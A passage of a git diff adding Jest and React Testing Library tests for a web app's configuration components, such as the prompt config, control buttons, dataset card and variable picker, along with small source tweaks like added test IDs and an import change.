+    useContext: jest.fn(),
+  }
+})
+
+const mockFormattingDispatcher = jest.fn()
+jest.mock('../debug/hooks', () => ({
+  __esModule: true,
+  useFormattingChangedDispatcher: () => mockFormattingDispatcher,
+}))
+
+let latestConfigPromptProps: any
+jest.mock('@/app/components/app/configuration/config-prompt', () => ({
+  __esModule: true,
+  default: (props: any) => {
+    latestConfigPromptProps = props
+    return <div data-testid="config-prompt" />
+  },
+}))
+
+let latestConfigVarProps: any
+jest.mock('@/app/components/app/configuration/config-var', () => ({
+  __esModule: true,
+  default: (props: any) => {
+    latestConfigVarProps = props
+    return <div data-testid="config-var" />
+  },
+}))
+
+jest.mock('../dataset-config', () => ({
+  __esModule: true,
+  default: () => <div data-testid="dataset-config" />,
+}))
+
+jest.mock('./agent/agent-tools', () => ({
+  __esModule: true,
+  default: () => <div data-testid="agent-tools" />,
+}))
+
+jest.mock('../config-vision', () => ({
+  __esModule: true,
+  default: () => <div data-testid="config-vision" />,
+}))
+
+jest.mock('./config-document', () => ({
+  __esModule: true,
+  default: () => <div data-testid="config-document" />,
+}))
+
+jest.mock('./config-audio', () => ({
+  __esModule: true,
+  default: () => <div data-testid="config-audio" />,
+}))
+
+let latestHistoryPanelProps: any
+jest.mock('../config-prompt/conversation-history/history-panel', () => ({
+  __esModule: true,
+  default: (props: any) => {
+    latestHistoryPanelProps = props
+    return <div data-testid="history-panel" />
+  },
+}))
+
+type MockContext = {
+  mode: AppModeEnum
+  isAdvancedMode: boolean
+  modelModeType: ModelModeType
+  isAgent: boolean
+  hasSetBlockStatus: {
+    context: boolean
+    history: boolean
+    query: boolean
+  }
+  showHistoryModal: jest.Mock
+  modelConfig: ModelConfig
+  setModelConfig: jest.Mock
+  setPrevPromptConfig: jest.Mock
+}
+
+const createPromptVariable = (overrides: Partial<PromptVariable> = {}): PromptVariable => ({
+  key: 'variable',
+  name: 'Variable',
+  type: 'string',
+  ...overrides,
+})
+
+const createModelConfig = (overrides: Partial<ModelConfig> = {}): ModelConfig => ({
+  provider: 'openai',
+  model_id: 'gpt-4',
+  mode: ModelModeType.chat,
+  configs: {
+    prompt_template: 'Hello {{variable}}',
+    prompt_variables: [createPromptVariable({ key: 'existing' })],
+  },
+  chat_prompt_config: null,
+  completion_prompt_config: null,
+  opening_statement: null,
+  more_like_this: null,
+  suggested_questions: null,
+  suggested_questions_after_answer: null,
+  speech_to_text: null,
+  text_to_speech: null,
+  file_upload: null,
+  retriever_resource: null,
+  sensitive_word_avoidance: null,
+  annotation_reply: null,
+  external_data_tools: null,
+  system_parameters: {
+    audio_file_size_limit: 1,
+    file_size_limit: 1,
+    image_file_size_limit: 1,
+    video_file_size_limit: 1,
+    workflow_file_upload_limit: 1,
+  },
+  dataSets: [],
+  agentConfig: {
+    enabled: false,
+    strategy: AgentStrategy.react,
+    max_iteration: 1,
+    tools: [] as ToolItem[],
+  },
+  ...overrides,
+})
+
+const createContextValue = (overrides: Partial<MockContext> = {}): MockContext => ({
+  mode: AppModeEnum.CHAT,
+  isAdvancedMode: false,
+  modelModeType: ModelModeType.chat,
+  isAgent: false,
+  hasSetBlockStatus: {
+    context: false,
+    history: true,
+    query: false,
+  },
+  showHistoryModal: jest.fn(),
+  modelConfig: createModelConfig(),
+  setModelConfig: jest.fn(),
+  setPrevPromptConfig: jest.fn(),
+  ...overrides,
+})
+
+const mockUseContext = useContextSelector.useContext as jest.Mock
+
+const renderConfig = (contextOverrides: Partial<MockContext> = {}) => {
+  const contextValue = createContextValue(contextOverrides)
+  mockUseContext.mockReturnValue(contextValue)
+  return {
+    contextValue,
+    ...render(<Config />),
+  }
+}
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  latestConfigPromptProps = undefined
+  latestConfigVarProps = undefined
+  latestHistoryPanelProps = undefined
+})
+
+// Rendering scenarios ensure the layout toggles agent/history specific sections correctly.
+describe('Config - Rendering', () => {
+  it('should render baseline sections without agent specific panels', () => {
+    renderConfig()
+
+    expect(screen.getByTestId('config-prompt')).toBeInTheDocument()
+    expect(screen.getByTestId('config-var')).toBeInTheDocument()
+    expect(screen.getByTestId('dataset-config')).toBeInTheDocument()
+    expect(screen.getByTestId('config-vision')).toBeInTheDocument()
+    expect(screen.getByTestId('config-document')).toBeInTheDocument()
+    expect(screen.getByTestId('config-audio')).toBeInTheDocument()
+    expect(screen.queryByTestId('agent-tools')).not.toBeInTheDocument()
+    expect(screen.queryByTestId('history-panel')).not.toBeInTheDocument()
+  })
+
+  it('should show AgentTools when app runs in agent mode', () => {
+    renderConfig({ isAgent: true })
+
+    expect(screen.getByTestId('agent-tools')).toBeInTheDocument()
+  })
+
+  it('should display HistoryPanel only when advanced chat completion values apply', () => {
+    const showHistoryModal = jest.fn()
+    renderConfig({
+      isAdvancedMode: true,
+      mode: AppModeEnum.ADVANCED_CHAT,
+      modelModeType: ModelModeType.completion,
+      hasSetBlockStatus: {
+        context: false,
+        history: false,
+        query: false,
+      },
+      showHistoryModal,
+    })
+
+    expect(screen.getByTestId('history-panel')).toBeInTheDocument()
+    expect(latestHistoryPanelProps.showWarning).toBe(true)
+    expect(latestHistoryPanelProps.onShowEditModal).toBe(showHistoryModal)
+  })
+})
+
+// Prompt handling scenarios validate integration between Config and prompt children.
+describe('Config - Prompt Handling', () => {
+  it('should update prompt template and dispatch formatting event when text changes', () => {
+    const { contextValue } = renderConfig()
+    const previousVariables = contextValue.modelConfig.configs.prompt_variables
+    const additions = [createPromptVariable({ key: 'new', name: 'New' })]
+
+    latestConfigPromptProps.onChange('Updated template', additions)
+
+    expect(contextValue.setPrevPromptConfig).toHaveBeenCalledWith(contextValue.modelConfig.configs)
+    expect(contextValue.setModelConfig).toHaveBeenCalledWith(expect.objectContaining({
+      configs: expect.objectContaining({
+        prompt_template: 'Updated template',
+        prompt_variables: [...previousVariables, ...additions],
+      }),
+    }))
+    expect(mockFormattingDispatcher).toHaveBeenCalledTimes(1)
+  })
+
+  it('should skip formatting dispatcher when template remains identical', () => {
+    const { contextValue } = renderConfig()
+    const unchangedTemplate = contextValue.modelConfig.configs.prompt_template
+
+    latestConfigPromptProps.onChange(unchangedTemplate, [createPromptVariable({ key: 'added' })])
+
+    expect(contextValue.setPrevPromptConfig).toHaveBeenCalledWith(contextValue.modelConfig.configs)
+    expect(mockFormattingDispatcher).not.toHaveBeenCalled()
+  })
+
+  it('should replace prompt variables when ConfigVar reports updates', () => {
+    const { contextValue } = renderConfig()
+    const replacementVariables = [createPromptVariable({ key: 'replacement' })]
+
+    latestConfigVarProps.onPromptVariablesChange(replacementVariables)
+
+    expect(contextValue.setPrevPromptConfig).toHaveBeenCalledWith(contextValue.modelConfig.configs)
+    expect(contextValue.setModelConfig).toHaveBeenCalledWith(expect.objectContaining({
+      configs: expect.objectContaining({
+        prompt_variables: replacementVariables,
+      }),
+    }))
+  })
+})
diff --git a/web/app/components/app/configuration/ctrl-btn-group/index.spec.tsx b/web/app/components/app/configuration/ctrl-btn-group/index.spec.tsx
new file mode 100644
index 0000000000..11cf438974
--- /dev/null
+++ b/web/app/components/app/configuration/ctrl-btn-group/index.spec.tsx
@@ -0,0 +1,42 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import ContrlBtnGroup from './index'
+
+describe('ContrlBtnGroup', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering fixed action buttons
+  describe('Rendering', () => {
+    it('should render buttons when rendered', () => {
+      // Arrange
+      const onSave = jest.fn()
+      const onReset = jest.fn()
+
+      // Act
+      render(<ContrlBtnGroup onSave={onSave} onReset={onReset} />)
+
+      // Assert
+      expect(screen.getByTestId('apply-btn')).toBeInTheDocument()
+      expect(screen.getByTestId('reset-btn')).toBeInTheDocument()
+    })
+  })
+
+  // Handling click interactions
+  describe('Interactions', () => {
+    it('should invoke callbacks when buttons are clicked', () => {
+      // Arrange
+      const onSave = jest.fn()
+      const onReset = jest.fn()
+      render(<ContrlBtnGroup onSave={onSave} onReset={onReset} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('apply-btn'))
+      fireEvent.click(screen.getByTestId('reset-btn'))
+
+      // Assert
+      expect(onSave).toHaveBeenCalledTimes(1)
+      expect(onReset).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/ctrl-btn-group/index.tsx b/web/app/components/app/configuration/ctrl-btn-group/index.tsx
index e126e12164..69915acc7b 100644
--- a/web/app/components/app/configuration/ctrl-btn-group/index.tsx
+++ b/web/app/components/app/configuration/ctrl-btn-group/index.tsx
@@ -15,8 +15,8 @@ const ContrlBtnGroup: FC<IContrlBtnGroupProps> = ({ onSave, onReset }) => {
   return (
     <div className="fixed bottom-0 left-[224px] h-[64px] w-[519px]">
       <div className={`${s.ctrlBtn} flex h-full items-center gap-2  bg-white pl-4`}>
-        <Button variant='primary' onClick={onSave}>{t('appDebug.operation.applyConfig')}</Button>
-        <Button onClick={onReset}>{t('appDebug.operation.resetConfig')}</Button>
+        <Button variant='primary' onClick={onSave} data-testid="apply-btn">{t('appDebug.operation.applyConfig')}</Button>
+        <Button onClick={onReset} data-testid="reset-btn">{t('appDebug.operation.resetConfig')}</Button>
       </div>
     </div>
   )
diff --git a/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx b/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx
new file mode 100644
index 0000000000..4d92ae4080
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/card-item/index.spec.tsx
@@ -0,0 +1,242 @@
+import { fireEvent, render, screen, waitFor, within } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import Item from './index'
+import type React from 'react'
+import type { DataSet } from '@/models/datasets'
+import { ChunkingMode, DataSourceType, DatasetPermission } from '@/models/datasets'
+import type { IndexingType } from '@/app/components/datasets/create/step-two'
+import type { RetrievalConfig } from '@/types/app'
+import { RETRIEVE_METHOD } from '@/types/app'
+import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
+
+jest.mock('../settings-modal', () => ({
+  __esModule: true,
+  default: ({ onSave, onCancel, currentDataset }: any) => (
+    <div>
+      <div>Mock settings modal</div>
+      <button onClick={() => onSave({ ...currentDataset, name: 'Updated dataset' })}>Save changes</button>
+      <button onClick={onCancel}>Close</button>
+    </div>
+  ),
+}))
+
+jest.mock('@/hooks/use-breakpoints', () => {
+  const actual = jest.requireActual('@/hooks/use-breakpoints')
+  return {
+    __esModule: true,
+    ...actual,
+    default: jest.fn(() => actual.MediaType.pc),
+  }
+})
+
+const mockedUseBreakpoints = useBreakpoints as jest.MockedFunction<typeof useBreakpoints>
+
+const baseRetrievalConfig: RetrievalConfig = {
+  search_method: RETRIEVE_METHOD.semantic,
+  reranking_enable: false,
+  reranking_model: {
+    reranking_provider_name: 'provider',
+    reranking_model_name: 'rerank-model',
+  },
+  top_k: 4,
+  score_threshold_enabled: false,
+  score_threshold: 0,
+}
+
+const defaultIndexingTechnique: IndexingType = 'high_quality' as IndexingType
+
+const createDataset = (overrides: Partial<DataSet> = {}): DataSet => {
+  const {
+    retrieval_model,
+    retrieval_model_dict,
+    icon_info,
+    ...restOverrides
+  } = overrides
+
+  const resolvedRetrievalModelDict = {
+    ...baseRetrievalConfig,
+    ...retrieval_model_dict,
+  }
+  const resolvedRetrievalModel = {
+    ...baseRetrievalConfig,
+    ...(retrieval_model ?? retrieval_model_dict),
+  }
+
+  const defaultIconInfo = {
+    icon: '📘',
+    icon_type: 'emoji',
+    icon_background: '#FFEAD5',
+    icon_url: '',
+  }
+
+  const resolvedIconInfo = ('icon_info' in overrides)
+    ? icon_info
+    : defaultIconInfo
+
+  return {
+    id: 'dataset-id',
+    name: 'Dataset Name',
+    indexing_status: 'completed',
+    icon_info: resolvedIconInfo as DataSet['icon_info'],
+    description: 'A test dataset',
+    permission: DatasetPermission.onlyMe,
+    data_source_type: DataSourceType.FILE,
+    indexing_technique: defaultIndexingTechnique,
+    author_name: 'author',
+    created_by: 'creator',
+    updated_by: 'updater',
+    updated_at: 0,
+    app_count: 0,
+    doc_form: ChunkingMode.text,
+    document_count: 0,
+    total_document_count: 0,
+    total_available_documents: 0,
+    word_count: 0,
+    provider: 'dify',
+    embedding_model: 'text-embedding',
+    embedding_model_provider: 'openai',
+    embedding_available: true,
+    retrieval_model_dict: resolvedRetrievalModelDict,
+    retrieval_model: resolvedRetrievalModel,
+    tags: [],
+    external_knowledge_info: {
+      external_knowledge_id: 'external-id',
+      external_knowledge_api_id: 'api-id',
+      external_knowledge_api_name: 'api-name',
+      external_knowledge_api_endpoint: 'https://endpoint',
+    },
+    external_retrieval_model: {
+      top_k: 2,
+      score_threshold: 0.5,
+      score_threshold_enabled: true,
+    },
+    built_in_field_enabled: true,
+    doc_metadata: [],
+    keyword_number: 3,
+    pipeline_id: 'pipeline-id',
+    is_published: true,
+    runtime_mode: 'general',
+    enable_api: true,
+    is_multimodal: false,
+    ...restOverrides,
+  }
+}
+
+const renderItem = (config: DataSet, props?: Partial<React.ComponentProps<typeof Item>>) => {
+  const onSave = jest.fn()
+  const onRemove = jest.fn()
+
+  render(
+    <Item
+      config={config}
+      onSave={onSave}
+      onRemove={onRemove}
+      {...props}
+    />,
+  )
+
+  return { onSave, onRemove }
+}
+
+describe('dataset-config/card-item', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockedUseBreakpoints.mockReturnValue(MediaType.pc)
+  })
+
+  it('should render dataset details with indexing and external badges', () => {
+    const dataset = createDataset({
+      provider: 'external',
+      retrieval_model_dict: {
+        ...baseRetrievalConfig,
+        search_method: RETRIEVE_METHOD.semantic,
+      },
+    })
+
+    renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const actionButtons = within(card).getAllByRole('button', { hidden: true })
+
+    expect(screen.getByText(dataset.name)).toBeInTheDocument()
+    expect(screen.getByText('dataset.indexingTechnique.high_quality · dataset.indexingMethod.semantic_search')).toBeInTheDocument()
+    expect(screen.getByText('dataset.externalTag')).toBeInTheDocument()
+    expect(actionButtons).toHaveLength(2)
+  })
+
+  it('should open settings drawer from edit action and close after saving', async () => {
+    const user = userEvent.setup()
+    const dataset = createDataset()
+    const { onSave } = renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const [editButton] = within(card).getAllByRole('button', { hidden: true })
+    await user.click(editButton)
+
+    expect(screen.getByText('Mock settings modal')).toBeInTheDocument()
+    await waitFor(() => {
+      expect(screen.getByRole('dialog')).toBeVisible()
+    })
+
+    await user.click(screen.getByText('Save changes'))
+
+    await waitFor(() => {
+      expect(onSave).toHaveBeenCalledWith(expect.objectContaining({ name: 'Updated dataset' }))
+    })
+    await waitFor(() => {
+      expect(screen.getByText('Mock settings modal')).not.toBeVisible()
+    })
+  })
+
+  it('should call onRemove and toggle destructive state on hover', async () => {
+    const user = userEvent.setup()
+    const dataset = createDataset()
+    const { onRemove } = renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const buttons = within(card).getAllByRole('button', { hidden: true })
+    const deleteButton = buttons[buttons.length - 1]
+
+    expect(deleteButton.className).not.toContain('action-btn-destructive')
+
+    fireEvent.mouseEnter(deleteButton)
+    expect(deleteButton.className).toContain('action-btn-destructive')
+    expect(card.className).toContain('border-state-destructive-border')
+
+    fireEvent.mouseLeave(deleteButton)
+    expect(deleteButton.className).not.toContain('action-btn-destructive')
+
+    await user.click(deleteButton)
+    expect(onRemove).toHaveBeenCalledWith(dataset.id)
+  })
+
+  it('should use default icon information when icon details are missing', () => {
+    const dataset = createDataset({ icon_info: undefined })
+
+    renderItem(dataset)
+
+    const nameElement = screen.getByText(dataset.name)
+    const iconElement = nameElement.parentElement?.firstElementChild as HTMLElement
+
+    expect(iconElement).toHaveStyle({ background: '#FFF4ED' })
+    expect(iconElement.querySelector('em-emoji')).toHaveAttribute('id', '📙')
+  })
+
+  it('should apply mask overlay on mobile when drawer is open', async () => {
+    mockedUseBreakpoints.mockReturnValue(MediaType.mobile)
+    const user = userEvent.setup()
+    const dataset = createDataset()
+
+    renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const [editButton] = within(card).getAllByRole('button', { hidden: true })
+    await user.click(editButton)
+    expect(screen.getByText('Mock settings modal')).toBeInTheDocument()
+
+    const overlay = Array.from(document.querySelectorAll('[class]'))
+      .find(element => element.className.toString().includes('bg-black/30'))
+
+    expect(overlay).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/card-item/index.tsx b/web/app/components/app/configuration/dataset-config/card-item/index.tsx
index 85d46122a3..7fd7011a56 100644
--- a/web/app/components/app/configuration/dataset-config/card-item/index.tsx
+++ b/web/app/components/app/configuration/dataset-config/card-item/index.tsx
@@ -13,7 +13,7 @@ import Drawer from '@/app/components/base/drawer'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
 import Badge from '@/app/components/base/badge'
 import { useKnowledge } from '@/hooks/use-knowledge'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import AppIcon from '@/app/components/base/app-icon'
 
 type ItemProps = {
diff --git a/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx b/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx
new file mode 100644
index 0000000000..69378fbb32
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx
@@ -0,0 +1,299 @@
+import * as React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ContextVar from './index'
+import type { Props } from './var-picker'
+
+// Mock external dependencies only
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({ push: jest.fn() }),
+  usePathname: () => '/test',
+}))
+
+type PortalToFollowElemProps = {
+  children: React.ReactNode
+  open?: boolean
+  onOpenChange?: (open: boolean) => void
+}
+type PortalToFollowElemTriggerProps = React.HTMLAttributes<HTMLElement> & { children?: React.ReactNode; asChild?: boolean }
+type PortalToFollowElemContentProps = React.HTMLAttributes<HTMLDivElement> & { children?: React.ReactNode }
+
+jest.mock('@/app/components/base/portal-to-follow-elem', () => {
+  const PortalContext = React.createContext({ open: false })
+
+  const PortalToFollowElem = ({ children, open }: PortalToFollowElemProps) => {
+    return (
+      <PortalContext.Provider value={{ open: !!open }}>
+        <div data-testid="portal">{children}</div>
+      </PortalContext.Provider>
+    )
+  }
+
+  const PortalToFollowElemContent = ({ children, ...props }: PortalToFollowElemContentProps) => {
+    const { open } = React.useContext(PortalContext)
+    if (!open) return null
+    return (
+      <div data-testid="portal-content" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  const PortalToFollowElemTrigger = ({ children, asChild, ...props }: PortalToFollowElemTriggerProps) => {
+    if (asChild && React.isValidElement(children)) {
+      return React.cloneElement(children, {
+        ...props,
+        'data-testid': 'portal-trigger',
+      } as React.HTMLAttributes<HTMLElement>)
+    }
+    return (
+      <div data-testid="portal-trigger" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  return {
+    PortalToFollowElem,
+    PortalToFollowElemContent,
+    PortalToFollowElemTrigger,
+  }
+})
+
+describe('ContextVar', () => {
+  const mockOptions: Props['options'] = [
+    { name: 'Variable 1', value: 'var1', type: 'string' },
+    { name: 'Variable 2', value: 'var2', type: 'number' },
+  ]
+
+  const defaultProps: Props = {
+    value: 'var1',
+    options: mockOptions,
+    onChange: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should display query variable selector when options are provided', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+    })
+
+    it('should show selected variable with proper formatting when value is provided', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('var1')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should display selected variable when value prop is provided', () => {
+      // Arrange
+      const props = { ...defaultProps, value: 'var2' }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert - Should display the selected value
+      expect(screen.getByText('var2')).toBeInTheDocument()
+    })
+
+    it('should show placeholder text when no value is selected', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert - Should show placeholder instead of variable
+      expect(screen.queryByText('var1')).not.toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should display custom tip message when notSelectedVarTip is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+        notSelectedVarTip: 'Select a variable',
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('Select a variable')).toBeInTheDocument()
+    })
+
+    it('should apply custom className to VarPicker when provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        className: 'custom-class',
+      }
+
+      // Act
+      const { container } = render(<ContextVar {...props} />)
+
+      // Assert
+      expect(container.querySelector('.custom-class')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call onChange when user selects a different variable', async () => {
+      // Arrange
+      const onChange = jest.fn()
+      const props = { ...defaultProps, onChange }
+      const user = userEvent.setup()
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      const triggers = screen.getAllByTestId('portal-trigger')
+      const varPickerTrigger = triggers[triggers.length - 1]
+
+      await user.click(varPickerTrigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Select a different option
+      const options = screen.getAllByText('var2')
+      expect(options.length).toBeGreaterThan(0)
+      await user.click(options[0])
+
+      // Assert
+      expect(onChange).toHaveBeenCalledWith('var2')
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should toggle dropdown when clicking the trigger button', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      const triggers = screen.getAllByTestId('portal-trigger')
+      const varPickerTrigger = triggers[triggers.length - 1]
+
+      // Open dropdown
+      await user.click(varPickerTrigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Close dropdown
+      await user.click(varPickerTrigger)
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle undefined value gracefully', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+      expect(screen.queryByText('var1')).not.toBeInTheDocument()
+    })
+
+    it('should handle empty options array', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [],
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle null value without crashing', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle options with different data types', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'String Var', value: 'strVar', type: 'string' },
+          { name: 'Number Var', value: '42', type: 'number' },
+          { name: 'Boolean Var', value: 'true', type: 'boolean' },
+        ],
+        value: 'strVar',
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('strVar')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+    })
+
+    it('should render variable names with special characters safely', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'Variable with & < > " \' characters', value: 'specialVar', type: 'string' },
+        ],
+        value: 'specialVar',
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('specialVar')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/context-var/index.tsx b/web/app/components/app/configuration/dataset-config/context-var/index.tsx
index ebba9c51cb..80cc50acdf 100644
--- a/web/app/components/app/configuration/dataset-config/context-var/index.tsx
+++ b/web/app/components/app/configuration/dataset-config/context-var/index.tsx
@@ -4,7 +4,7 @@ import React from 'react'
 import { useTranslation } from 'react-i18next'
 import type { Props } from './var-picker'
 import VarPicker from './var-picker'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { BracketsX } from '@/app/components/base/icons/src/vender/line/development'
 import Tooltip from '@/app/components/base/tooltip'
 
diff --git a/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx b/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx
new file mode 100644
index 0000000000..cb46ce9788
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx
@@ -0,0 +1,392 @@
+import * as React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import VarPicker, { type Props } from './var-picker'
+
+// Mock external dependencies only
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({ push: jest.fn() }),
+  usePathname: () => '/test',
+}))
+
+type PortalToFollowElemProps = {
+  children: React.ReactNode
+  open?: boolean
+  onOpenChange?: (open: boolean) => void
+}
+type PortalToFollowElemTriggerProps = React.HTMLAttributes<HTMLElement> & { children?: React.ReactNode; asChild?: boolean }
+type PortalToFollowElemContentProps = React.HTMLAttributes<HTMLDivElement> & { children?: React.ReactNode }
+
+jest.mock('@/app/components/base/portal-to-follow-elem', () => {
+  const PortalContext = React.createContext({ open: false })
+
+  const PortalToFollowElem = ({ children, open }: PortalToFollowElemProps) => {
+    return (
+      <PortalContext.Provider value={{ open: !!open }}>
+        <div data-testid="portal">{children}</div>
+      </PortalContext.Provider>
+    )
+  }
+
+  const PortalToFollowElemContent = ({ children, ...props }: PortalToFollowElemContentProps) => {
+    const { open } = React.useContext(PortalContext)
+    if (!open) return null
+    return (
+      <div data-testid="portal-content" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  const PortalToFollowElemTrigger = ({ children, asChild, ...props }: PortalToFollowElemTriggerProps) => {
+    if (asChild && React.isValidElement(children)) {
+      return React.cloneElement(children, {
+        ...props,
+        'data-testid': 'portal-trigger',
+      } as React.HTMLAttributes<HTMLElement>)
+    }
+    return (
+      <div data-testid="portal-trigger" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  return {
+    PortalToFollowElem,
+    PortalToFollowElemContent,
+    PortalToFollowElemTrigger,
+  }
+})
+
+describe('VarPicker', () => {
+  const mockOptions: Props['options'] = [
+    { name: 'Variable 1', value: 'var1', type: 'string' },
+    { name: 'Variable 2', value: 'var2', type: 'number' },
+    { name: 'Variable 3', value: 'var3', type: 'boolean' },
+  ]
+
+  const defaultProps: Props = {
+    value: 'var1',
+    options: mockOptions,
+    onChange: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render variable picker with dropdown trigger', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+      expect(screen.getByText('var1')).toBeInTheDocument()
+    })
+
+    it('should display selected variable with type icon when value is provided', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('var1')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+      // IconTypeIcon should be rendered (check for svg icon)
+      expect(document.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should show placeholder text when no value is selected', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.queryByText('var1')).not.toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should display custom tip message when notSelectedVarTip is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+        notSelectedVarTip: 'Select a variable',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('Select a variable')).toBeInTheDocument()
+    })
+
+    it('should render dropdown indicator icon', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert - Trigger should be present
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
